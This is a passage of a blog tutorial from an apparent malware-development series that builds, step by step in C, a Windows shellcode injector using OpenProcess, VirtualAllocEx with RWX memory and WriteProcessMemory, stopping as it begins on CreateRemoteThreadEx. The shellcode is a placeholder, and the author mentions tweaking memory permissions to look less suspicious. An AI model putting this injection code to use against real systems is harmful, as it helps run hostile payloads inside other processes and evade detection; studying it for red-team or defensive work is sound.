# Shellcode Injection

<details>

<summary> Table of Contents</summary>

* [Foreword](#foreward)
* [Overview](#overview)
  * [The API Calls](#the-api-calls)
* [Creating the Program](#creating-the-program)
  * [Getting a Handle](#getting-a-handle)
  * [Allocating a Buffer](#allocating-a-buffer)
  * [Writing to Process Memory](#writing-to-process-memory)
  * [Creating a Thread](#creating-a-thread)
* [Generating Shellcode](#generating-shellcode)
* [Performing the Injection](#performing-the-injection)
* [Common Pitfalls](#common-pitfalls)
* [Acknowledgements](#acknowledgements)
* [References ](#references)

</details>

## Foreword

Pork is airborne and hell hath frozen over, the second installment of our malware development series is out! In it, we learn about shellcode injection, and as a little bonus, [DLL Injection](https://www.crow.rip/nest/mal/dev/inject/dll-injection) *as well*.&#x20;

{% embed url="<https://www.youtube.com/watch?v=A6EKDAKBXPs>" %}
Malware Development II: Process Injection
{% endembed %}

{% hint style="warning" %}
Once again, I'm just a ~~nerd~~ normal dude trying his best to learn. I'm not claiming to be some sort of expert at programming or developing malware. Please excuse the outlast levels of clinically insane coding practices I might subject your eyes to. I'm constantly learning and trying to improve, and as such, my coding practices, as a function of time, will get better and better the longer I do this. Hopefully, the blog and the GitHub repository will reflect this. &#x20;
{% endhint %}

## Overview

This technique is as vanilla as it gets. It is by far, [the simplest injection technique](#user-content-fn-1)[^1], but it’s also *quite elegant*, don’t get me wrong. The general steps for a shellcode injection, are the following:

1. Get a handle on a process by attaching to, or creating one.&#x20;
2. Allocate a buffer in the process memory with the necessary permissions.
3. Write the contents of your shellcode to that buffer in the process memory.
4. Create a thread that will run what you've surgically allocated and written into the process!

For this technique, we're sticking with the **Win32 API**, which at this point, you should be at least a  *little* familiar with. If not, fret not. See the post below to get started:

{% embed url="<https://crows-nest.gitbook.io/crows-nest/malware-development/getting-started-with-malware-development>" %}
Start here
{% endembed %}

Eventually, we'll get a bit more advanced in our craft but until then, we'll stick to using Win32 API. Just for now. Let's get started! We'll start by looking at which API calls we'll need to rip and tear into this technique... *until it is done*.

### The API Calls

{% hint style="info" %}
All of the documentation for these functions, as well as the entirety of Win32 API, can be found on [Microsoft's own documentation pages](https://learn.microsoft.com/en-us/windows/win32/apiindex/windows-api-list) (commonly referred to as the "MSDN"). Remember that Win32 API, is well-documented, meaning that if you have questions about what something is doing within a function or program, more times than not, you'll be able to find the answer within the docs itself.&#x20;

On the flip side, I know how daunting this incredible resource is when you first start. However, I promise that if you take the time to actually read it, you'll really come to appreciate this resource.
{% endhint %}

The most common calls you might end up seeing for this technique are something like the following (in their respective order):

#### [OpenProcess](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess)

```cpp
/* get a handle on the process */
HANDLE OpenProcess(
  [in] DWORD dwDesiredAccess,
  [in] BOOL  bInheritHandle,
  [in] DWORD dwProcessId
);
```

#### [VirtualAllocEx](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex)

```cpp
/* allocate some space in the process memory */
LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);
```

#### [WriteProcessMemory](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory)

```cpp
/* write the contents of our payload into the buffer from the previous step */
BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);
```

#### [CreateRemoteThreadEx](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethreadex)

```cpp
/* create a thread to run our payload */
HANDLE CreateRemoteThreadEx(
  [in]            HANDLE                       hProcess,
  [in, optional]  LPSECURITY_ATTRIBUTES        lpThreadAttributes,
  [in]            SIZE_T                       dwStackSize,
  [in]            LPTHREAD_START_ROUTINE       lpStartAddress,
  [in, optional]  LPVOID                       lpParameter,
  [in]            DWORD                        dwCreationFlags,
  [in, optional]  LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
  [out, optional] LPDWORD                      lpThreadId
);
```

## Creating the Program

Again, all of this probably looks really alien if you're just starting out, but worry not, I'll be holding your hand for the setup of this program. It's at this point I'd like to discuss the different kinds of compilers, IDEs, and all of that. I'm going to be programming in Visual Studio; I'll also just be using the `MSVC` compiler to compile my program.&#x20;

Whichever IDE you use, shouldn't matter in the slightest. However, the way you compile this program *definitely* does. We'll get more in-depth into why it's important in the "[Common Pitfalls](#common-pitfalls)" section. For now, just follow my lead. We start by making a new project in Visual Studio, and then you can create a C, C++ file. I'll make a file called `crowinject.cpp`, which will house the following contents for now:

{% hint style="info" %}
In the video, I made a `C++` file, but funnily enough, I only ever make `C++` files just to fill them with a majority of standard `C` code. So, soon I'll be using more and more actual `C++` in the next blogs. Also, during the time rewriting this blog, I've also learned some new "best"-practices, and as such, I'll be making my code reflect that. Moreover, the code in the video, and the code from this blog will look a bit different now but you'll live.
{% endhint %}

```c
#include <windows.h>
#include <stdio.h>
 
/* wake up samurai, we've got status symbols to setup 
(as we get more advanced, we'll start incorporating macros instead) */
const char* k = "[+]";
const char* e = "[-]";
const char* i = "[*]";

int main(int argc, char* argv[]){
    printf("%s everything's in order", k);
    return EXIT_SUCCESS; 
}
```

Here, we're including the Windows header (`<windows.h>`) into our program, which will let us use the Win32 API. Which, if we remember, is just an interface that allows us to talk to the OS. I started using [`EXIT_SUCCESS` and `EXIT_FAILURE`](#user-content-fn-2)[^2] because I really like making my code verbose. Perhaps more verbose than it *should* be. They're both defined in the `<stdlib.h>` library and it's just a glorified way of saying `0` for success, `1` for error.&#x20;

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FZt97kQXefDauIwKB2MBU%2Fimage.png?alt=media&#x26;token=dc3181e7-97bd-4cfa-98d4-b702bc229d0b" alt=""><figcaption><p>Read more <a href="https://learn.microsoft.com/en-us/cpp/c-runtime-library/exit-success-exit-failure?view=msvc-170">here</a></p></figcaption></figure>

Let's compile this, just to make sure everything's working.

{% hint style="danger" %}
Remember to compile a x64-bit program, if your target process is x64-bit. Otherwise, you will run into issues, as we'll see in more detail in the [common pitfalls](#common-pitfalls) section.
{% endhint %}

After compiling the program, we can run it from the command line, or we could've just pressed `Ctrl+F5` to start without debugging, which automatically compiles and runs your program. So, after doing that, we get our expected output:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2Fafz7sukRBA8cYghqXT5m%2Fimage.png?alt=media&#x26;token=507178fe-be8a-43a5-9b60-bf2579e41d6d" alt=""><figcaption><p>Working as intended<em>™ (you can click on the image to make it bigger)</em></p></figcaption></figure>

In the video, I defined the variables (like `hProcess, hThread, PID`, etc.) in the [global scope](https://learn.microsoft.com/en-us/cpp/cpp/scope-visual-cpp?view=msvc-170). *This is actually **not** good practice as I've learned*; it's better to have the variables defined in the function scope otherwise it'll come back and haunt us in the future. Also, in the video, I had mentioned the [Hungarian notation](https://en.wikipedia.org/wiki/Hungarian_notation) that Microsoft uses for its' naming convention; but some of my variables weren't following the naming convention, while others were.&#x20;

So, I'll try to omit this cherry-picking and just follow the Hungarian naming convention a bit more strictly from now on. We'll make sure that the program was supplied with an argument for the PID, if not, we'll have it error out with the usage:

```c
#include <windows.h>
#include <stdio.h>

const char* k = "[+]";
const char* e = "[-]";
const char* i = "[*]";

int main(int argc, char* argv[]) {

    /* declare and initialize some vars for later use */
    PVOID rBuffer = NULL;
    DWORD dwPID = NULL, dwTID = NULL;
    HANDLE hProcess = NULL, hThread = NULL;

    if (argc < 2) {
        printf("%s usage: %s <PID>", e, argv[0]);
        return EXIT_FAILURE;
    }

    dwPID = atoi(argv[1]);

    printf("%s trying to get a handle to the process (%ld)\n", i, dwPID);

    /* try to get a handle on the process now */

    return EXIT_SUCCESS;
    
}
```

We see some familiar data types and variables (assuming you've gone through the first video). We see some `HANDLE` types which we've assigned to the `hProcess` and `hThread` variables. We've created some `DWORD` types which we've assigned to the `PID` and `TID` variables. We'll come back to the `rBuffer` in a bit, but let's continue for now. We're checking to see if the program has been supplied with an argument for the PID to attach to.

If we don't take in a PID from the CLI, we'd have to change it in the source code every single time and recompile it over and over again. And frankly, I can't think of a better example of unhinged masochism. After we get an argument for the PID, we convert it into an integer type since PIDs are numbers. Moreover, on Windows, PIDs are always [multiples of four](https://devblogs.microsoft.com/oldnewthing/20080228-00/?p=23283) (`4`). Not important here, but still pretty cool to know. At this point in our code, we're going to try to get a handle on our target process.

### Getting a Handle

As you may know by now, we're going to be using the `OpenProcess` function to get a handle on our process.

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FoXuyk8BmRt7PUPpinZ8E%2Fimage.png?alt=media&#x26;token=f9c2d865-fbe8-4543-ab54-7eda29f9cb77" alt=""><figcaption><p><code>OpenProcess</code> syntax from MSDN</p></figcaption></figure>

The easiest way to grasp what this function does is by reading the "Return value" section of this function. You can find it below:

{% embed url="<https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess#return-value>" %}
Return value section of `OpenProcess`
{% endembed %}

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2F00VrGyvXx4WUukMnvsGr%2Fimage.png?alt=media&#x26;token=932ba0d2-aee8-4a0d-a3ef-5ed6f1ee0781" alt=""><figcaption><p><code>OpenProcess</code> return value</p></figcaption></figure>

From this section, we can see that if `OpenProcess` succeeds, it will return an open handle to the specified process, which is what we're going to make our `hProcess` variable hold; hence why it was important to declare it as the `HANDLE` data type. If it fails, it will return `NULL`. Because of this, we can set up some pretty cool error handling for our program as we'll see soon. Let's look at the arguments this function expects:

1. `DWORD dwDesiredAccess`
2. `BOOL bInheritHandle`
3. `DWORD dwProcessId`

The first argument is where we specify the *access rights* we'd like to have on the target process. There are various access rights that we could specify, which we can see below:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2F6lxkI6G9ERHwf3SkGdqZ%2Fimage.png?alt=media&#x26;token=ed88f792-7fc8-413f-8bf0-3bd78177f1c8" alt=""><figcaption><p>Process-specific access rights table from MSDN</p></figcaption></figure>

You can read more about them here:

{% embed url="<https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights>" %}
Process access rights table
{% endembed %}

I'll still try my best to explain what these are and why we need them, so don't worry. *<mark style="background-color:orange;">Basically, these process access rights determine what exactly we're allowed to do to a process</mark>*. Remember the steps of this technique and how I said we'd have to allocate and write some memory within the processes' memory? For us to be able to even do that, we'd *at minimum* need:&#x20;

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FrNXbpdzaNZaWm3r3LhZm%2Fimage.png?alt=media&#x26;token=c16e7ce5-3f24-4ba8-af4f-6ce7cb1745a6" alt=""><figcaption><p><code>PROCESS_VM_OPERATION</code> access right from the aformentioned table</p></figcaption></figure>

As you can see, because we're trying to tinker with the address space of the process, using functions like `VirtualProtectEx` and `WriteProcessMemory`, we'd have to supply this access right. Is that it then? Is that all we supply in this argument? `PROCESS_VM_OPERATION`? Well... *not quite*. You see, these rights are extremely *particular*. Sure, you'll be able to allocate and write to the process memory, but how do you expect to create a thread to run your payload without an access right like:&#x20;

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FZuXw6TW1E1NnOTYYhMjw%2Fimage.png?alt=media&#x26;token=ce3ce401-72c4-4213-92c5-04d8713fa202" alt=""><figcaption><p><code>PROCESS_CREATE_THREAD</code> access right</p></figcaption></figure>

Not to mention other rights like being able to query information about the process (`PROCESS_QUERY_INFORMATION`), suspending or resuming it (`PROCESS_SUSPEND_RESUME`), etc. It's because of all of these little things and rights, it's easier for us to just specify an access right like `PROCESS_ALL_ACCESS`.&#x20;

{% hint style="info" %}
Although, note that it's generally best practice to give yourself the **least amount of rights** in order to do something. It's also safer that way and generally regarded as the best practice for dealing with things including rights and privileges. Since what we're trying to do is quite beefy and requires various different little access rights, we'll just supply `PROCESS_ALL_ACCESS` as our argument here to avoid that headache.&#x20;
{% endhint %}

```c
hProcess = OpenProcess(PROCESS_ALL_ACCESS, ...) 
```

Now, let's get on with that second parameter, `bInheritHandle`. This parameter is just a boolean that specifies whether we'd like to inherit the handles created by our process; i.e., if our process creates another process, do we want to inherit that handle of the newly created process? We'll set this to `FALSE`, since we don't really care about this right now:

```c
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ...) 
```

Lastly, the `dwProcessId` argument is the PID of the process we'd like to open a handle to. We've already created this variable so let's just supply it here:

```c
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID); 
```

Et voila! We've set up this portion of the code and we can now work on some error handling, as mentioned before! Since we know that this function returns `NULL` on error, we can write the following:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FZU80LvqMdtKPhPs4x6N2%2Fimage.png?alt=media&#x26;token=c4948f63-da94-4ec0-9e95-3b843ca6074e" alt=""><figcaption><p>Error handling for our process handle</p></figcaption></figure>

#### Retrieving Error Codes

I've also introduced a new function here, `GetLastError`. One of my favourites. It's so simple but it provides so much information. Let's try an example (if you don't care, or already know what this function does, [click here](#allocating-a-buffer) to move to the next portion). The `GetLastError` function is defined thusly:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2F0msrQdN76Dp64lGY2MSV%2Fimage.png?alt=media&#x26;token=76ac646e-6d53-4d2e-b0a0-82e742039c56" alt=""><figcaption><p><code>GetLastError</code> syntax from <a href="https://learn.microsoft.com/en-us/windows/win32/api/errhandlingapi/nf-errhandlingapi-getlasterror">MSDN</a></p></figcaption></figure>

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FOtmc0BBPaS2Im1SHT4N7%2Fimage.png?alt=media&#x26;token=38036d95-9fc8-4779-aecc-723a3438c704" alt=""><figcaption><p>Return value of <code>GetLastError</code></p></figcaption></figure>

We can see that if a thread errors out, this function grabs the error code corresponding to that specific error. Let's try to supply a PID to our program which obviously wouldn't ever exist and see what this program spits out.

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FNwxgzWL7HCPfjiTLXV2X%2Fimage.png?alt=media&#x26;token=40bf4b4e-f092-4767-8c9c-9a3df9d61694" alt=""><figcaption><p>Error output</p></figcaption></figure>

We can see that the program spits out an error with the following value: `0x57`. "What the hell does this mean? What do we do with this?" I may hear you ask. This value or any of the values outputted here, are system error codes. Furthermore, from the following page:

{% embed url="<https://learn.microsoft.com/en-us/windows/win32/debug/system-error-codes>" %}
Catalogue of various system error codes
{% endembed %}

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2Febyc9kSwjcJaZotUShY7%2Fimage.png?alt=media&#x26;token=19064f6d-253b-41d2-813d-5a9f58beaa7e" alt=""><figcaption><p>Holy moly</p></figcaption></figure>

We can see that there are a ton of these. What we'd do now, is just cross-reference the error code we got, with this neat little section and we can quickly figure out what went wrong based on the error code! Let's take that `0x57` value from our program and see what's going on.

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2Fv5MdJsfMn3OdVjgM9BNS%2Fimage.png?alt=media&#x26;token=d66d6421-c545-43bf-aa63-e9a8ed1103f1" alt=""><figcaption><p><code>ERROR_INVALID_PARAMETER</code> error code</p></figcaption></figure>

We can see that our value of `0x57` is telling us that we've supplied an invalid parameter! That's so much information given to us! Now, you can also print this out as a decimal by changing the format specifier to `%ld`. I personally like the way that hexadecimal looks a bit more, but again, all up to you. Let's try one more example, where we try to get a handle on an elevated process. Something like the system process with PID `4`:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FyZjIr8AeVrWZr9NDhq8B%2Fimage.png?alt=media&#x26;token=78ccc514-4abb-4c05-a2c4-696f2d55db54" alt=""><figcaption><p>System error code of <code>0x5</code></p></figcaption></figure>

We get an error code of `0x5`. If we look this up in the error code catalogue, we can see that this tells us we don't have the necessary permissions in order to open a handle to this process:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FeI9QgQR37j8JhSwm0OLN%2Fimage.png?alt=media&#x26;token=348d1514-0b0a-494a-9fb9-899524e1dced" alt=""><figcaption><p><code>ERROR_ACCESS_DENIED</code> error code</p></figcaption></figure>

Cool! You now know what these error codes are and how to help yourself debug much easier.&#x20;

{% hint style="warning" %}
`GetLastError,` as awesome as it is, won't work in all situations. For instance, when you're working with the lower-level NT API from NTDLL, that region of error handling is done through the actual [`NTSTATUS` codes](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55) themselves.&#x20;
{% endhint %}

### Allocating a Buffer

Here's where we're at right now:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FDdToyDcEU7gtilyS88ci%2Fimage.png?alt=media&#x26;token=6d4745a4-b77d-42d0-8586-4e900a2b5a7d" alt=""><figcaption><p>Recieved a valid handle to target process</p></figcaption></figure>

We can see that if we supply a legitimate PID to an actual process, the program spits out the handle we got from it. Now, we need to allocate a region of memory to our target process, and we can do this with the ever-so-popular, `VirtualAllocEx` function. Before doing that, we need to set up some variables since `VirtualAllocEx` will be expecting them.

```c
(snip...)

    /* declare and initialize some vars for later use */
    PVOID rBuffer = NULL;
    DWORD dwPID = NULL, dwTID = NULL;
    HANDLE hProcess = NULL, hThread = NULL;
    
    unsigned char crowPuke[] = "\x41\x41\x41\x41\x41\x41";
    size_t crowPukeSize = sizeof(crowPuke);

(snip...)
```

We're setting up our shellcode here, as well as the size of it. If we try to inject this into our process, it will kill it. This isn't valid shellcode, and wouldn't do anything - and as such, the process will crash. We'll come back to creating the shellcode when the time comes, but for now, let's start setting up `VirtualAllocEx`.

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FN2N1A3mN5kg1mK0W9iwV%2Fimage.png?alt=media&#x26;token=7bde53bf-a19d-4579-a1c1-81b34fe4b1c3" alt=""><figcaption><p><code>VirtualAllocEx</code> syntax from <a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex">MSDN</a></p></figcaption></figure>

The first parameter is a handle to our process. Our `hProcess` variable is currently holding the return value from `OpenProcess`, which again, is just an open handle to our target process. So, we can just put in `hProcess` for this argument.

```c
rBuffer = VirtualAllocEx(hProcess, ...)
```

The second parameter, i.e., the `lpAddress` is an optionally-inputted argument for this function. It's just a pointer that specifies the starting address for the region of [pages](https://en.wikipedia.org/wiki/Page_\(computer_memory\)) that we'd like to allocate. If we set this to `NULL`, the function will determine where to allocate the region. Therefore, we'll let the function drive itself home for this part.

```c
rBuffer = VirtualAllocEx(hProcess, NULL, ...)
```

The next argument, `dwSize`, is where we specify the *size* of the region of memory that we'd wish to allocate. This is the size of our shellcode from earlier. So, let's populate this argument as such:

```c
rBuffer = VirtualAllocEx(hProcess, NULL, crowPukeSize, ...)
```

Next up, we have the `flAllocationType`. This is the type of allocation we'd like to do.&#x20;

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FbaSQa38MgUhtbmqHfJT0%2Fimage.png?alt=media&#x26;token=68a27f08-d356-45a5-9e32-363f7e5cb095" alt=""><figcaption><p>Allocation types</p></figcaption></figure>

For our cases here, we just want to be able to reserve some space (`MEM_RESERVE`) and then we'd want to be able to actually commit that memory (`MEM_COMMIT`). So, let's add them both.

```c
rBuffer = VirtualAllocEx(hProcess, NULL, crowPukeSize, (MEM_RESERVE | MEM_COMMIT), ...)
```

Last but not least, we have to select the memory protection that we want our allocated memory to have. From the documentation:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FszCIXYeH8JRXg3r7lxoP%2Fimage.png?alt=media&#x26;token=0f3e31fc-88ff-4b4b-8bee-ba79df9b26f6" alt=""><figcaption><p><code>flProtect</code> section of <code>VirtualAllocEx</code> from MSDN</p></figcaption></figure>

So, we're allowed to specify any one of the memory protection constants, huh? Let's go give them a visit and see what we're allowed to supply here :smile:. You can find these memory protection constants below:

{% embed url="<https://learn.microsoft.com/en-us/windows/win32/Memory/memory-protection-constants>" %}
Memory Protection Constants
{% endembed %}

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FIsPsJ0iu13WVKdJR5itX%2Fimage.png?alt=media&#x26;token=776e381a-49eb-42ad-a20f-7234172aaa59" alt=""><figcaption><p><em>Some</em> of the memory protection constants for us to use</p></figcaption></figure>

As is the case with most of Microsoft's stuff, there are a lot of things for us to choose from here. However, we need to remember the basics. We're going to be giving ourselves `PAGE_EXECUTE_READWRITE` (`RWX`) for our shellcode. If we don't have the execute permissions, it's like the whole nightmare of dealing with `NX/DEP`. Our shellcode won't be of any use to us if we can't execute it.&#x20;

{% hint style="info" %}
Remember that a random buffer which is randomly allocated to your process memory with full `RWX` permissions can look extremely suspicious. There are some techniques in which a function like [`VirtualProtect`](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect) gets used. With `VirtualProtect`, what would happen is something like the following: You allocate a region of memory with minimal permissions initially (something like `RW`), and then change those permissions (to something like `RX`) denoted by the `flNewProtect` argument supplied to this function.

{% code overflow="wrap" %}

```
[in] flNewProtect

The memory protection option. This parameter can be one of the memory protection constants.

For mapped views, this value must be compatible with the access protection specified when the view was mapped (see MapViewOfFile, MapViewOfFileEx, and MapViewOfFileExNuma).
```

{% endcode %}
{% endhint %}

{% code overflow="wrap" %}

```c
rBuffer = VirtualAllocEx(hProcess, NULL, crowPukeSize, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); /* horrible permissions, ik - better off making this rw -> virtualprotect() -> rx */
```

{% endcode %}

With that done, we've allocated our buffer at this point! This means we're now ready to actually *write* the contents of our shellcode, into our recently allocated buffer inside of the process memory.&#x20;

### Writing to Process Memory

Here's where we're at right now:

```c
#include <windows.h>
#include <stdio.h>

const char* k = "[+]";
const char* e = "[-]";
const char* i = "[*]";

int main(int argc, char* argv[]) {

    /* declare and initialize some vars for later use */
    PVOID rBuffer = NULL;
    DWORD dwPID = NULL, dwTID = NULL;
    HANDLE hProcess = NULL, hThread = NULL;
    
    unsigned char crowPuke[] = "\x41\x41\x41\x41\x41\x41";
    size_t crowPukeSize = sizeof(crowPuke);
            
    if (argc < 2) {
        printf("%s usage: %s <PID>", e, argv[0]);
        return EXIT_FAILURE;
    }

    dwPID = atoi(argv[1]);

    printf("%s trying to get a handle to the process (%ld)\n", i, dwPID);

    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID); 

    if (hProcess == NULL) {
        printf("%s failed to get a handle to the process, error: 0x%lx", e, GetLastError());
        return EXIT_FAILURE;
    }

    printf("%s got a handle to the process\n\\---0x%p\n", k, hProcess);

    rBuffer = VirtualAllocEx(hProcess, NULL, crowPukeSize, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    printf("%s allocated %zd-bytes to the process memory w/ PAGE_EXECUTE_READWRITE permissions\n", k, crowPukeSize);

    /* write shellcode contents to the allocated buffer */

    return EXIT_SUCCESS;

}
```

Let's try running this just to make sure we're getting the expected output.&#x20;

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FhAZm9UW3shAf5mIx6XZm%2Fimage.png?alt=media&#x26;token=b49a8238-7cdf-40f5-bf6e-b793b8197cfc" alt=""><figcaption><p>Lookin' good, shawty</p></figcaption></figure>

Nice. Now we can finally write the contents of our shellcode into this recently created buffer. In order to do that, we utilize the `WriteProcessMemory` function.&#x20;

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FiDZLXRAdf2VpeGr962M6%2Fimage.png?alt=media&#x26;token=5e044abe-ca73-4c91-a815-fc992a48abea" alt=""><figcaption><p><code>WriteProcessMemory</code> syntax from <a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory">MSDN</a></p></figcaption></figure>

The first parameter is the handle to our process,`hProcess`.

```c
WriteProcessMemory(hProcess, ...)
```

This second parameter (`lpBaseAddress`) is the `rBuffer` that we've created and allocated to the process memory. As we can see from the documentation:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2Fusqnx5BDPIVk4E9DU8xE%2Fimage.png?alt=media&#x26;token=97d063b9-71bf-45f9-8df5-84c318c0cd66" alt=""><figcaption><p><code>lpBaseAddress</code> parameter</p></figcaption></figure>

```c
WriteProcessMemory(hProcess, rBuffer, ...)
```

The `lpBuffer` is the next parameter. This is where we specify the actual contents of our shellcode. Earlier, you heard me say that the shellcode we have currently, would shred our process memory and cause it to crash. Well... why hasn't that happened yet? It's because `VirtualAllocEx` isn't the same thing as writing the contents of your payload into the memory. This is why we're able to allocate this memory without our program crashing.

{% hint style="info" %}
For those who are new, a tip to help you think about `VirtualAllocEx` and `WriteProcessMemory` would be like the following:

Think of the buffer that you create with `VirtualAllocEx` as a canvas. You defined how big it is, what permissions it has, the memory allocation type, etc. Then, you can think of `WriteProcessMemory` as the step in which you actually write whatever (or paint whatever in this analogy) to that allocated buffer.
{% endhint %}

```c
WriteProcessMemory(hProcess, rBuffer, crowPuke, ...)
```

The `nSize` argument is the size of our shellcode, which we've already defined as `crowPukeSize` (so sorry for these naming conventions):

```c
WriteProcessMemory(hProcess, rBuffer, crowPuke, crowPukeSize, ...)
```

And lastly, we have an outputted parameter called `lpNumberOfBytesWritten`. This just stores the number of bytes we've written in the memory region. You can choose to add this if you want, we'll just set it to `NULL`, which will just cause the parameter to be ignored.

```c
WriteProcessMemory(hProcess, rBuffer, crowPuke, crowPukeSize, NULL);
```

And just like that, we've set up the `WriteProcessMemory` function. Let's add in a quick little print statement indicating such.

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FuJawAFePJFfDyUaSkBK2%2Fimage.png?alt=media&#x26;token=d21314db-4fd9-4bcc-8596-1f05b3744b02" alt=""><figcaption><p>Almost there!</p></figcaption></figure>

And now, if we try to run this, we can see the following output:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2Fj9PFLUdtj9lrUHDFkd97%2Fimage.png?alt=media&#x26;token=8ea57b1e-00ad-4029-bd29-c2806f37fc18" alt=""><figcaption><p>Current program output</p></figcaption></figure>

All that's left for us is to create a thread to run our payload!

### Creating a Thread&#x20;

In this section, we're going to be creating a thread with the `CreateRemoteThreadEx` function. If we take a look at the [return value](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethreadex#return-value) of this function, we can see that it's practically the same thing as our `OpenProcess` function; except in this case, we're dealing with threads.

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FDu9FxidR5BvnQ3kevewo%2Fimage.png?alt=media&#x26;token=057e2c35-30e3-4bea-8feb-1ffad107e9fe" alt=""><figcaption><p>Return value of <code>CreateRemoteThreadEx</code></p></figcaption></figure>

Because we know that this function returns a handle to the new thread, we'll make our `hThread` variable hold this return value:

```c
hThread = CreateRemoteThreadEx()
```

Let's look at the syntax for this function.

